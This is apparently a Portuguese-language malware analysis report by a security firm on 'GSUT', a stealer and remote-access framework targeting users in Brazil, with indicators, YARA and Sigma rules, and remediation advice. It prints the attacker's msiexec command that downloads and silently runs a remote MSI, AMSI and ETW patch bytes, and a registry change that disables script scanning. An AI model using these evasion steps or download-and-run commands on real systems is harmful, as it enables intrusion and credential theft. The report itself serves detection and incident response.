← Blog

GSUT: novo stealer e RAT modular direcionado a usuários no Brasil

A PurpleHat identificou o GSUT, um framework de roubo de informações e acesso remoto sem documentação pública. A cadeia parte de um arquivo HTA de 435 bytes e termina com plugins carregados em memória que coletam cookies, credenciais e carteiras de criptomoedas, controlam contas do Outlook.com e dão ao operador acesso remoto.

Principais conclusões

  • Em 14 de outubro de 2026, a PurpleHat identificou uma nova família de malware, chamada GSUT por seus autores, que combina roubo de informações e acesso remoto. Até a data desta publicação, não há relatórios públicos sobre a família.
  • A infecção começa com um arquivo HTA de 435 bytes, distribuído em um ZIP com nome de cupom, e termina com um runtime Python embarcado que carrega a DLL principal e os plugins diretamente em memória.
  • Os plugins coletam cookies e senhas do Chrome, Edge e Brave, com contorno da App-Bound Encryption, além de carteiras de criptomoedas e tokens de sessão da Microsoft.
  • Um plugin dedicado usa a sessão do Outlook.com da vítima para coletar contatos e enviar e-mails de campanha a partir da conta comprometida.
  • O módulo de acesso remoto é ativado quando o título da janela em primeiro plano corresponde a uma lista definida pelo servidor, comportamento consistente com fraude bancária.
  • O painel de operação, o versionamento do loader e o gerador de amostras indicam um produto mantido por uma equipe organizada, possivelmente oferecido como serviço.

Visão geral

Em 14 de outubro de 2026, a PurpleHat analisou a amostra CUPON_8353.zip, que contém o arquivo CUPON_8353.hta. As análises dinâmica e estática revelaram um framework modular de roubo de informações e acesso remoto, identificado pelos próprios autores como GSUT.

A única referência pública relacionada é o pacote npm malicioso @gsutevil/hta-stage, classificado pelo Amazon Inspector e incluído no banco OSV como MAL-2026-16419 em 22 de setembro de 2026. O pacote contém uma versão anterior do mesmo loader JScript.

A interface do painel de operação está em português europeu, mas os indicadores de alvo apontam para usuários no Brasil: os modelos de e-mail usam datas no formato brasileiro e o plugin de webmail aceita contas outlook.com.br. A infraestrutura é recente. O domínio do C2 foi registrado em 6 de outubro de 2026, e os plugins foram compilados entre 29 de setembro e 13 de outubro de 2026.

Cadeia de infecção

A Figura 1 resume a cadeia de infecção, do arquivo ZIP inicial até a execução dos plugins em memória.

Cadeia de infecção do GSUT1 · CUPON_8353.zip → .htaHTA de 435 bytes, janela oculta, meta refresh2 · HTA de segundo estágioMarcador gsut.once.tmp; download do stage.js3 · stage.js (16 KB, ofuscado)Desativa o AMSI, obtém token e executa msiexec /qn4 · guest.msi (28 MB)Python embarcado; payload vinculado à máquina5 · Supervisor pythonw.exeAnti-análise; carrega core.dll em memória6 · core.dll + plugins em memóriaCookies, senhas, carteiras, Outlook e acesso remotonwinterprise[.]it[.]comServidor de entrega (Namecheap)Entrega a HTA, o stage.js,o token e o MSI (etapas 2 a 4)hub.appwebaxi[.]comC2 via WSS com pinning e plugins
Figura 1. Etapas da infecção, do arquivo ZIP à execução dos plugins em memória.
  1. O usuário extrai CUPON_8353.zip e executa CUPON_8353.hta.
  2. O mshta.exe é redirecionado para hxxps://nwinterprise[.]it[.]com/v1/hta/app, que retorna uma segunda HTA com código JScript.
  3. A segunda HTA baixa e executa /v1/hta/stage.js. O script desativa o AMSI do Windows Script Host, solicita um token ao servidor e executa msiexec /i hxxps://nwinterprise[.]it[.]com/guest.msi?t=<token> /qn.
  4. O pacote MSI, de 28 MB, instala um runtime Python embarcado e executa bootstrap.py. O script decifra core.dat, cifra o conteúdo novamente com uma chave derivada de atributos da máquina, estabelece persistência em %LOCALAPPDATA%\r<hex>\p<hex>\ e remove os artefatos da instalação.
  5. O supervisor, executado por pythonw.exe, carrega core.dll no próprio processo e chama a exportação gsut_core_run.
  6. O core realiza o inventário do sistema, configura a persistência, reporta ao C2 hub.appwebaxi[.]com e executa em memória os plugins enviados pelo servidor.

Estágio 1: HTA e loader JScript

O arquivo ZIP contém três arquivos: CUPON_8353.hta e dois arquivos de fachada no diretório __/. O arquivo README_7607e8.txt traz o texto "Setup Helper — Extract and open the .hta to continue. Build 7607e8", e o pkg_7607e8.xml declara <Vendor>GSUT Lab</Vendor>. Os timestamps dos arquivos coincidem com o minuto do download, o que indica que o servidor gera o ZIP a cada requisição.

A HTA inicial tem 435 bytes e não contém lógica maliciosa própria. Ela abre uma janela de 1×1 pixel, minimizada e oculta da barra de tarefas, e executa um meta refresh para hxxps://nwinterprise[.]it[.]com/v1/hta/app. Essa URL entrega uma segunda HTA, cujo código JScript:

  1. encerra a execução se existir o arquivo Documentos\gsut.once.tmp ou Documentos\gsut.install.tmp, usados como marcadores de execução única;
  2. define a variável window.__gsutBases com a lista de servidores;
  3. baixa /v1/hta/stage.js por meio de MSXML2.ServerXMLHTTP, com o User-Agent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; mshta), e injeta o conteúdo como um novo elemento <script>.

A HTA também contém a função bootNpm(npm), que obtém o stage.js de uma URL alternativa. Nesta amostra, a variável correspondente estava vazia. A relação com o npm é detalhada mais adiante.

O stage.js, de 16 KB, recebe uma ofuscação diferente a cada build, com nomes de funções aleatórios e strings cifradas com XOR em até duas camadas. Após a decodificação, o script:

  • grava AmsiEnable = 0 em HKCU\Software\Microsoft\Windows Script\Settings, primeiro com WScript.Shell.RegWrite e depois com o método WMI StdRegProv.SetDWORDValue;
  • reconstrói os nomes EtwEventWrite*, GetProcAddress e VirtualProtect, sem aplicar patch. Um comentário no código registra a limitação do JScript: "Native VirtualProtect is out of scope; soft-fail only";
  • aguarda entre 63 e 148 ms em um laço de espera ativa;
  • envia o nome do computador e do usuário para POST /v1/hta/msi-token e recebe um token. A resposta é avaliada com o construtor Function, o que permite ao servidor executar JScript arbitrário nessa etapa;
  • reporta cada fase (loader, msiexec, installed) para POST /v1/hta/event, com nome da máquina, usuário e código de saída;
  • executa msiexec /i "hxxps://nwinterprise[.]it[.]com/guest.msi?t=<token>" /qn /norestart REBOOT=ReallySuppress. Se WScript.Shell.Run falhar, recorre a Shell.Application.ShellExecute e, em seguida, a wmic process call create.

O código também chama funções opcionais (__gsutStep, __gsutInstallBegin, __gsutInstallEnd e __gsutHtaSkin === "bb") com as etapas cdn, folder, ps1, write e install. Esses ganchos indicam que o construtor pode gerar HTAs com telas falsas de instalação em diferentes temas visuais. Na amostra analisada, a janela permaneceu invisível.

Estágio 2: instalador MSI e bootstrap Python

O guest.msi (28 MB) instala em %LOCALAPPDATA%\la785d2bf\ca785d2bf44\ a distribuição oficial do Python embarcado (python-embed), a biblioteca unseal.dll, o arquivo cifrado core.dat e o script bootstrap.py. Uma custom action do MSI executa o bootstrap. O cabeçalho do script indica que ele é gerado pelo comando gsut-cli builder guest-msi.

O bootstrap executa as seguintes etapas:

  1. Desativação do AMSI e do ETW. O script aplica patches em amsi.dll!AmsiScanBuffer (31 C0 05 57 00 07 80 C3, que retorna E_INVALIDARG) e em ntdll.dll!EtwEventWrite (2B C0 C3, que retorna 0). Os nomes das funções e os bytes dos patches são cifrados com XOR e variam a cada build.
  2. Decifragem do core.dat. A função unseal.dll!gsut_unseal_file recebe uma chave de 32 bytes armazenada como dois valores combinados por XOR. O resultado é o arquivo _payload.zip.
  3. Vinculação à máquina. O script deriva uma nova chave com SHA-256 a partir de "gsut-core-dat-env-v1\n", do COMPUTERNAME, do número de série do volume e do MachineGuid, e cifra o payload novamente. A configuração do C2 (guest.json) também é protegida com XChaCha20-Poly1305. Um core.dat copiado para outra máquina não pode ser decifrado.
  4. Persistência em caminho aleatório. Os arquivos são copiados para %LOCALAPPDATA%\r<8 hex>\p<8 hex>\ e renomeados com oito caracteres hexadecimais aleatórios. Os arquivos start.py, core.dll e core.dat passam a ter nomes como 3fa1c09e.py. O arquivo .dat recebe os atributos oculto e de sistema, e um arquivo <stem>.1 armazena o mapeamento de nomes.
  5. Remoção de artefatos. O script exclui bootstrap.py, unseal.dll, hostgate.exe e o ZIP intermediário. Um processo pythonw independente aguarda 8 segundos e remove o diretório de instalação do MSI. Em caso de falha durante o processo, o bootstrap exclui todo o diretório de persistência.

Em seguida, o supervisor (originalmente start.py) é executado com pythonw.exe -B, sem janela. O componente:

  • interrompe a execução quando roda sob a conta SYSTEM ou sob Wine, quando o sistema tem menos de 768 MB de RAM, quando encontra variáveis de ambiente de CI (CI, GITHUB_ACTIONS, GITLAB_CI, TF_BUILD, JENKINS_URL) ou quando detecta SbieDll.dll, cmdvrt32.dll, sxin.dll, Sf2.dll ou snxhk.dll no System32;
  • cria o mutex Local\GSUTSupervisor;
  • carrega core.dll no próprio processo e chama a exportação gsut_core_run em uma thread separada.

Os plugins nunca são gravados em disco. Eles ficam em um catálogo dentro do core.dat, e o script plugin_host.py os recebe pela entrada padrão e chama gsut_plugin_host_run para carregá-los em memória.

O código Python contém docstrings detalhadas, com referências a registros internos de decisão de arquitetura ("ADR 0031", "ADR 0054 / v2.46"), a tickets ("fix-042", "task-534") e a um "lab harness". Esses elementos indicam um projeto com controle de versão, testes e processo de desenvolvimento estruturado.

Core e plugins

O core.dll (6,1 MB) é um executável PE x64 compilado com MinGW-w64 (GCC 13), com OpenSSL vinculado estaticamente. Segundo o próprio código, a execução segue a ordem probe, persist-evade, relatório ao C2 e "recipe". A recipe é a lista de plugins que o servidor determina para cada máquina. Cada plugin exporta gsut_plugin_run e retorna JSON em um formato versionado (gsut.cookies.v1, gsut.creds.v1, gsut.files.v1, gsut.webmail.v1).

PluginTamanhoFunção
remote.dll6,8 MBAcesso remoto: captura de tela via DXGI Desktop Duplication, com GDI como alternativa, a 5 fps em JPEG; controle de mouse e teclado; acesso à área de transferência; transporte por WSS ou QUIC; mutex Local\GSUTRemote. A sessão é iniciada quando o título da janela ativa corresponde à lista obtida em /title-triggers.
es-browser-cookies.dll1,0 MBColeta de cookies do Chrome, Edge, Brave e Firefox. Contorna a App-Bound Encryption ao iniciar o navegador com um --user-data-dir próprio e usar o protocolo de depuração remota (marcadores GSUTABE1, CDP_ABE_ENC_B64, C:\Temp\gsut_abe).
es-browser-creds.dll1,0 MBColeta de senhas salvas nos mesmos navegadores, com a mesma técnica de contorno da App-Bound Encryption.
es-wallet.dll48 KBColeta de carteiras MetaMask (extensão do Chrome), Exodus, Electrum e Atomic.
es-webmail-outlook.dll81 KBSequestro de sessão do Outlook.com, Outlook.com.br e Live a partir de cookies e do cache MSAL. Usa o refresh token para obter um access token, coleta contatos das caixas de entrada e de enviados e envia e-mails de campanha (HTML com anexo, destinatários em cópia oculta, com controle de taxa) pela conta da vítima.
es-files.dll91 KBColeta de arquivos (gsut.files.v1).
probe.dll1,0 MBInventário do sistema, incluindo os produtos de segurança instalados (Windows Defender, Kaspersky, Bitdefender, Avast/AVG, Norton, McAfee) e um resumo dos dados disponíveis para coleta. Envia o resultado para /v1/probe/report.
persist-evade.dll91 KBPersistência por chave Run e atalho .lnk que executam o supervisor com pythonw.exe.
es-keybox.dll38 KBIdêntico a recipe-stub.dll neste build (mesmo hash); funciona como espaço reservado.

Tabela 1. Plugins do catálogo armazenado em core.dat.

O plugin de webmail é o componente menos comum da família. Ele embute código Python com funções como fetch_people, mint_access, create_item_body(to, name, subject, html, attachment_name, attachment, bcc) e data_pt_br(). Com ele, cada máquina infectada passa a enviar phishing de uma conta legítima para contatos reais da vítima. Avaliamos com baixa confiança que o próprio CUPON_8353.zip tenha sido distribuído dessa forma.

Comunicação com o C2

A configuração de comunicação está no guest.json decifrado. O canal principal é um WebSocket em wss://hub.appwebaxi[.]com/v1/guest, com TLS 1.3 como versão mínima e certificate pinning pelo hash da chave pública (SPKI Wm/Q2QEm/3XPf2Dmy6djoHFebMJ209ffzaQaxZBzeTs=). Proxies com inspeção TLS interrompem a conexão. Sem um pin configurado, o remote.dll não envia a mensagem HELLO.

EndpointUso
wss://hub.appwebaxi[.]com/v1/guestCanal de controle e sessão remota (ping a cada 15 s, timeout de 45 s)
hxxps://hub.appwebaxi[.]com/v1/guest/harvestEnvio dos dados roubados
hxxps://hub.appwebaxi[.]com/v1/guest/pluginsAtualização do catálogo de plugins
hxxps://hub.appwebaxi[.]com/v1/guest/title-triggersLista de títulos de janela que disparam a sessão remota
hxxps://hub.appwebaxi[.]com/v1/probe/reportRelatório de inventário da máquina

Tabela 2. Endpoints do C2 definidos em guest.json.

As requisições incluem o cabeçalho X-Fleet-Token com um token fixo por campanha (1bdfe245…edc17, parcialmente omitido). Os dados exfiltrados são cifrados com XChaCha20-Poly1305 sobre o TLS, com chaves derivadas por HKDF-SHA256 a partir de rótulos como gsut-v1/link-c2s, gsut-v1/link-s2c, gsut-v1/room-wrap e gsut-v1/guest-identity. As atualizações são verificadas com assinaturas Ed25519 (update_crypto.py) em um formato canônico que, segundo um comentário no código, replica internal/application/guestupdate/canonical.go do servidor escrito em Go.

O painel tem ainda uma tela de bloqueios com os motivos country_blocked, locale_blocked, hostname_blocked e windows_user_blocked, que permite ao operador recusar vítimas por país, idioma, nome de máquina ou nome de usuário. Essa filtragem ocorre no servidor e não pode ser observada apenas pela análise do binário.

Infraestrutura e painel de operação

A operação usa dois domínios e três endereços IP, todos configurados nas semanas anteriores à análise.

IndicadorFunçãoHospedagemObservação
nwinterprise[.]it[.]com → 192.64.115[.]101Entrega da HTA, do stage.js, do token e do MSINamecheap—
hub.appwebaxi[.]com → 199.91.221[.]57C2 e painel de operaçãoBL NetworksCertificado Let's Encrypt emitido em 12/10/2026
appwebaxi[.]com → 162.252.199[.]153Domínio raizBL NetworksRegistrado em 06/10/2026 na NameSilo (DNS DNSOWL)

Tabela 3. Infraestrutura da operação.

O endereço hxxps://199.91.221[.]57/login, servido pelo mesmo host de hub.appwebaxi[.]com e com certificado cujo SPKI corresponde ao pin do guest.json, hospeda um painel React/Vite com o título "GSUT" e o rodapé "© 2026 GSUT". A coleta limitou-se a requisições GET à página pública de login e aos arquivos JavaScript carregados por ela, sem tentativa de autenticação.

Os módulos referenciados no código do painel descrevem o produto completo: Frota (máquinas infectadas), Instalações, Sessões (acesso remoto), Cookies, Credenciais ("Emails e senha"), Carteiras, Ficheiros, Emails (modelos de campanha), Sites ("Títulos da janela", os gatilhos do acesso remoto), Bloqueios, Catálogo de plugins e Gerador (construtor de amostras), além de Admins, perfis de Operador, Audit e Configurações. A tela de administradores lista os clientes gsut-cli e gsut-mcp. O segundo nome sugere integração com agentes de IA por meio do Model Context Protocol.

A interface usa português europeu, com termos como "utilizador", "ficheiro", "ligação", "guardar" e "a carregar". Os indicadores de alvo, no entanto, apontam para o Brasil: os modelos de e-mail usam a variável {{data_pt_br}}, o plugin de webmail aceita domínios outlook.com.br e a isca é um "CUPON".

O endereço configurado por padrão para receber dados do webmail é r0lab[@]proton[.]me. A imagem de fundo da tela de login é uma fotografia de banco de imagens (Yaowarat, Bangkok), sem metadados EXIF.

Relação com o pacote npm @gsutevil/hta-stage

O único registro público associado ao GSUT é o pacote npm @gsutevil/hta-stage, versão 1.62.0. O Amazon Inspector classificou o pacote como malicioso, e ele foi incluído no banco OSV como MAL-2026-16419 em 22 de setembro de 2026. O pacote já foi removido do registro npm.

O pacote continha o arquivo dist/stage.js (SHA-256 b3ce9de41e247304592ca4e9df085d94055bb2bfee35c72e91795e39723c11a7). De acordo com a descrição publicada pelo Amazon Inspector, o comportamento é equivalente ao do stage.js analisado pela PurpleHat (Tabela 4).

Comportamentonpm 1.62.0 (set/2026)Amostra analisada (out/2026)
Servidor recebido por window.__gsutBasesSimSim
AmsiEnable = 0 via RegWrite e WMI StdRegProvSimSim
Nomes de ETW e VirtualProtect remontadosSimSim (sem aplicação de patch)
Token de /v1/hta/msi-token avaliado com FunctionSimSim
Telemetria para /v1/hta/event com máquina e usuárioSimSim
msiexec /i <base>/guest.msi?t=<tok> /qn /norestart REBOOT=ReallySuppress, com ShellExecute e wmic de reservaSimSim
Mata python.exe, pythonw.exe, core.exe, guest.exe e desinstala o produto "GSUT Guest"SimNão
Marcador gsut.once.tmp em DocumentosNão citadoSim

Tabela 4. Comparação entre o stage.js do pacote npm e o da amostra analisada.

Os hashes diferem porque o construtor gera um novo stage.js a cada build. A função bootNpm() presente na HTA permite obter o loader de uma URL alternativa. Avaliamos com confiança moderada que o operador publica o stage.js no npm para distribuí-lo por CDNs públicas como unpkg e jsDelivr, cujo tráfego tende a ser tratado como legítimo por proxies corporativos.

O registro também ajuda a datar a operação: o loader já estava na versão 1.62.0 em 22 de setembro, semanas antes do registro do domínio atual do C2. O escopo gsutevil provavelmente corresponde a um apelido do desenvolvedor.

Avaliação

Até a data desta publicação, o GSUT não tem documentação pública. A pesquisa por domínios, endereços IP, strings, endereço de e-mail e caminho de build em mecanismos de busca, no urlscan.io e no crt.sh não retornou resultados além do registro do npm.

O C2 é escrito em Go (caminho de build es-guests_win-server_golang-operador_golang), o cliente em C com MinGW e o loader em Python. As referências a ADRs, tickets, testes e ambiente de laboratório, somadas à versão 1.62.0 do loader em setembro, indicam desenvolvimento contínuo por uma equipe com práticas de engenharia de software.

O painel inclui administradores, operadores, trilha de auditoria, gerador de amostras e os clientes gsut-cli e gsut-mcp. Essa estrutura é compatível tanto com a operação de um único grupo quanto com um kit comercializado como serviço (MaaS), e as evidências disponíveis não permitem distinguir entre as duas hipóteses. O uso de português europeu na interface, com alvos no Brasil, também não é suficiente para atribuir a nacionalidade dos desenvolvedores.

A combinação de roubo de sessões, credenciais e carteiras com acesso remoto acionado pelo título da janela é consistente com fraude bancária. A propagação pela conta de e-mail da vítima amplia o alcance da campanha sem exigir infraestrutura própria de envio.

Cada build gera nomes de arquivo, hashes e chaves diferentes, e o payload só pode ser decifrado na máquina em que foi instalado. Por isso, a detecção baseada em comportamento é mais eficaz do que a busca por hashes.

Limitações

  • Na sandbox da PurpleHat, baseada em uma versão do CAPEv2 modificada pela nossa equipe, o supervisor encerrou a execução cerca de 1 segundo após a injeção do monitor. Não houve tráfego observado com o C2, e as etapas finais foram analisadas de forma estática.
  • A lista de títulos de janela que aciona o acesso remoto é fornecida pelo servidor e não foi obtida.
  • O vetor de entrega inicial (anexo ou link em e-mail) não foi confirmado.

Detecção e caça

Como nomes de arquivo e hashes variam a cada build, recomendamos priorizar os seguintes comportamentos:

  • Execução de mshta.exe com uma HTA que faz meta refresh para uma URL HTTPS, seguida de msiexec /i https://…/guest.msi?t=… /qn.
  • Gravação de AmsiEnable = 0 em HKCU\Software\Microsoft\Windows Script\Settings, ação rara em software legítimo.
  • Presença dos arquivos %USERPROFILE%\Documents\gsut.once.tmp, gsut.install.tmp e %TEMP%\gsut-bootstrap-err.txt.
  • pythonw.exe executado a partir de %LOCALAPPDATA%\r[0-9a-f]{8}\p[0-9a-f]{8}\python-embed\ com um script .py de oito caracteres hexadecimais, além de chave Run ou atalho .lnk apontando para esse caminho.
  • Mutexes Local\GSUTSupervisor e Local\GSUTRemote.
  • Chrome, Edge ou Brave iniciados por pythonw.exe com --user-data-dir próprio, e o diretório C:\Temp\gsut_abe.
  • Em serviços de nuvem, uso de refresh token do Outlook.com a partir de um endereço IP novo, seguido de envio em massa com destinatários em cópia oculta.

As regras YARA e Sigma estão na seção Regras de detecção.

Recomendações

Organizações

  • Bloquear a execução de mshta.exe por meio de AppLocker ou WDAC, ou associar a extensão .hta a um editor de texto.
  • Impedir que usuários sem privilégios administrativos executem msiexec com URLs remotas.
  • Gerar alertas para pythonw.exe executado a partir de %LOCALAPPDATA%.
  • Monitorar a gravação de AmsiEnable = 0 em HKCU\Software\Microsoft\Windows Script\Settings.
  • Bloquear no proxy e no DNS os domínios e endereços IP listados na Tabela 5.
  • Avaliar a necessidade de acesso a CDNs de pacotes npm, como unpkg e jsDelivr, em estações que não são usadas para desenvolvimento.

Usuários afetados

  • Isolar a máquina da rede e tratá-la como comprometida, já que o operador tem acesso remoto completo. A reinstalação do sistema operacional é a opção mais segura.
  • Alterar, a partir de outro dispositivo, as senhas armazenadas nos navegadores, com prioridade para contas de e-mail e bancárias.
  • Encerrar todas as sessões ativas da conta Microsoft. A troca de senha nem sempre invalida cookies e tokens já coletados.
  • Ativar a autenticação em dois fatores nas contas principais.
  • Verificar a pasta Itens Enviados do Outlook e informar os contatos caso existam mensagens não reconhecidas.
  • Transferir os fundos de carteiras MetaMask, Exodus, Electrum ou Atomic para novas carteiras, criadas em um dispositivo limpo e com uma nova frase de recuperação.

Indicadores de comprometimento

Domínios, endereços IP, URLs e e-mails estão neutralizados ([.], hxxps, [@]).

Rede

TipoValorContexto
Domínionwinterprise[.]it[.]comEntrega de HTA, stage.js e MSI
Domíniohub.appwebaxi[.]comC2 e painel
Domínioappwebaxi[.]comDomínio raiz, registrado em 06/10/2026
IP192.64.115[.]101nwinterprise[.]it[.]com (Namecheap)
IP199.91.221[.]57hub.appwebaxi[.]com (BL Networks)
IP162.252.199[.]153appwebaxi[.]com (BL Networks)
URLhxxps://nwinterprise[.]it[.]com/v1/hta/appHTA de segundo estágio
URLhxxps://nwinterprise[.]it[.]com/v1/hta/stage.jsLoader JScript
URLhxxps://nwinterprise[.]it[.]com/v1/hta/msi-tokenToken do MSI
URLhxxps://nwinterprise[.]it[.]com/v1/hta/eventTelemetria da instalação
URLhxxps://nwinterprise[.]it[.]com/guest.msi?t=<token>MSI de 28 MB
URLwss://hub.appwebaxi[.]com/v1/guestCanal de controle
URLhxxps://hub.appwebaxi[.]com/v1/guest/harvestExfiltração
URLhxxps://hub.appwebaxi[.]com/v1/guest/pluginsCatálogo de plugins
URLhxxps://hub.appwebaxi[.]com/v1/guest/title-triggersGatilhos por título de janela
URLhxxps://hub.appwebaxi[.]com/v1/probe/reportInventário
SPKI pinWm/Q2QEm/3XPf2Dmy6djoHFebMJ209ffzaQaxZBzeTs=Certificado do C2
E-mailr0lab[@]proton[.]mePadrão no painel
npm@gsutevil/hta-stage@1.62.0MAL-2026-16419

Tabela 5. Indicadores de rede.

Hashes de arquivos (SHA-256)

SHA-256Arquivo
980523d0b7ce254f8dc1b949b9da46e5e3c44f4133e76f03ca04dc44a6be631bCUPON_8353.zip
3bdec1ac44cacef8e0a9fc881fcff83f59c885f61fff5910b8e41d62ca01f9e0CUPON_8353.hta
b3ce9de41e247304592ca4e9df085d94055bb2bfee35c72e91795e39723c11a7stage.js (pacote npm)
3093523f2da1cc0dcfa4b6c7be9ff3adf07a0267b81e6fe329730922eb7d42e6_payload.zip decifrado
7fbd125153f39de96df9339303f450f7d654513ae69e081d87aa20c1443538bdcore.dll
1fa2726326554f4fdec19ddc0601765f1b714ea3345a4e0ccccaefc6bcf536acremote.dll
a2d32ab650ccc72abf0701657bd409072852404c5e72b27bc119cd919b5632f3es-browser-cookies.dll
b170ca9a501944868c8687337ba205cea8f56308d29e77a1b5619ec031660bd0es-browser-creds.dll
6fe27bef28e41162dfc24de5b1eb029f649d1643a67b321f4fb147af8bdd4f5aes-wallet.dll
c2faec139bd16d56e7087c415697fa5dc6e71b010e0465596ad4d7889da78f5bes-webmail-outlook.dll
c110b982a0810a8be1ea6f9f432a3fbec05d039ec97eb2eb25182aec6f8d648ees-files.dll
bf7838fe1734155a33f0be82a10533f62db1e992d9a887975bfc6cb6daf741bbprobe.dll
b8b96c5041e2c5b51742e900caa08fad3d027b3a48d191cde7e5729ba406ef3fpersist-evade.dll
304f28854a053ca238c72fee87140a7473ec3c75cda547aaa0cc82895901eeafes-keybox.dll / recipe-stub.dll

Tabela 6. Hashes de arquivos.

Artefatos no host

TipoValorContexto
MutexLocal\GSUTSupervisorSupervisor
MutexLocal\GSUTRemoteAcesso remoto
Arquivo%USERPROFILE%\Documents\gsut.once.tmpMarcador da HTA
Caminho%LOCALAPPDATA%\r<8 hex>\p<8 hex>\Persistência
Caminho%LOCALAPPDATA%\la785d2bf\ca785d2bf44\Instalação do MSI (nesta amostra)
RegistroHKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0AMSI desligado

Tabela 7. Artefatos no host.

Regras de detecção

YARA

rule GSUT_Framework_Components
{
  meta:
    description = "GSUT stealer/RAT: core, plugins e loader Python"
    author = "PurpleHat"
    date = "2026-10-14"
    reference = "https://purplehat.ai/blog/gsut-stealer-rat-brasil/"
    hash1 = "7fbd125153f39de96df9339303f450f7d654513ae69e081d87aa20c1443538bd"
    hash2 = "1fa2726326554f4fdec19ddc0601765f1b714ea3345a4e0ccccaefc6bcf536ac"
  strings:
    $a1 = "gsut_core_run" ascii
    $a2 = "gsut_plugin_run" ascii
    $a3 = "gsut_plugin_host_run" ascii
    $a4 = "gsut-core-dat-env-v1" ascii
    $a5 = "Local\\GSUTSupervisor" ascii wide
    $a6 = "Local\\GSUTRemote" ascii wide
    $a7 = "GSUTABE1" ascii
    $a8 = "gsut_unseal_file" ascii
  condition:
    filesize < 10MB and 2 of them
}

A regra cobre o core.dll, os plugins, a unseal.dll e os scripts Python. O caminho de build do servidor em Go não foi incluído, pois não aparece necessariamente nos binários do cliente. Recomendamos validar a regra contra um conjunto de arquivos legítimos antes do uso em produção.

Sigma

title: GSUT - AMSI do Windows Script Host desligado via registro
id: a3151162-12ba-4dbe-984e-a326eddd8053
status: experimental
description: Escrita de AmsiEnable = 0, usada pelo stage.js do GSUT para desligar o AMSI do Windows Script Host.
author: PurpleHat
date: 2026-10-14
tags:
  - attack.defense-evasion
  - attack.t1562.001
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|endswith: '\Software\Microsoft\Windows Script\Settings\AmsiEnable'
    Details: 'DWORD (0x00000000)'
  condition: selection
falsepositives:
  - Raros
level: high
---
title: GSUT - msiexec instala MSI remoto em modo silencioso
id: d7e82787-c79b-41e0-a656-e52f338390cd
status: experimental
description: msiexec instalando um MSI a partir de URL sem interface, como faz o stage.js do GSUT.
author: PurpleHat
date: 2026-10-14
tags:
  - attack.defense-evasion
  - attack.t1218.007
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\msiexec.exe'
  selection_cli:
    CommandLine|contains|all:
      - '/i'
      - 'http'
      - '/qn'
  selection_gsut:
    CommandLine|contains: 'guest.msi?t='
  condition: selection_img and (selection_cli or selection_gsut)
falsepositives:
  - Ferramentas de gestão que instalam pacotes a partir de URL
level: medium
---
title: GSUT - pythonw.exe executado de diretório aleatório em LOCALAPPDATA
id: 3f30f02a-937e-4e7c-bf4c-f8c43fcf09a5
status: experimental
description: Supervisor do GSUT rodando a partir do caminho de persistência r<8 hex>\p<8 hex>.
author: PurpleHat
date: 2026-10-14
tags:
  - attack.persistence
  - attack.t1547.001
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\pythonw.exe'
    Image|re: '(?i)\\AppData\\Local\\r[0-9a-f]{8}\\p[0-9a-f]{8}\\'
  condition: selection
falsepositives:
  - Improváveis
level: high

MITRE ATT&CK

TáticaTécnicas
Desenvolvimento de recursos (Resource Development)T1608.001 Upload Malware (stage.js publicado no npm)
Acesso inicial (Initial Access)T1566 Phishing (vetor não confirmado)
Execução (Execution)T1204.002 Malicious File, T1059.007 JavaScript, T1059.006 Python, T1047 WMI
Persistência (Persistence)T1547.001 Registry Run Keys / Startup Folder (Run e LNK)
Evasão de defesas (Defense Evasion)T1218.005 Mshta, T1218.007 Msiexec, T1562.001 Disable or Modify Tools (AMSI), T1562.006 Indicator Blocking (ETW), T1112 Modify Registry, T1027 Obfuscated Files, T1140 Deobfuscate/Decode, T1036 Masquerading (nomes hex e arquivos de fachada), T1480.001 Environmental Keying, T1497.001 System Checks, T1564.001 Hidden Files, T1070.004 File Deletion, T1620 Reflective Code Loading
Acesso a credenciais (Credential Access)T1555.003 Credentials from Web Browsers, T1539 Steal Web Session Cookie, T1528 Steal Application Access Token (MSAL)
Descoberta (Discovery)T1082 System Information, T1518.001 Security Software, T1010 Application Window Discovery
Movimento lateral (Lateral Movement)T1534 Internal Spearphishing (envio pela caixa da vítima)
Coleta (Collection)T1005 Data from Local System, T1113 Screen Capture, T1115 Clipboard Data, T1114.002 Remote Email Collection (contatos do Outlook)
Comando e controle (Command and Control)T1071.001 Web Protocols, T1573 Encrypted Channel, T1105 Ingress Tool Transfer (MSI e plugins), T1219 Remote Access Tools
Exfiltração (Exfiltration)T1041 Exfiltration Over C2 Channel

Tabela 8. Mapeamento para o MITRE ATT&CK.

Referências


Para compartilhar amostras relacionadas ao GSUT ou solicitar apoio em resposta a incidentes, entre em contato pelo e-mail contato@purplehat.ai.

As informações desta publicação destinam-se a detecção, caça e resposta a incidentes. Os indicadores refletem as observações da PurpleHat até 14 de outubro de 2026 e podem mudar. A PurpleHat não se responsabiliza pelo uso indevido destas informações. Marcas e nomes de terceiros são citados apenas para fins de identificação.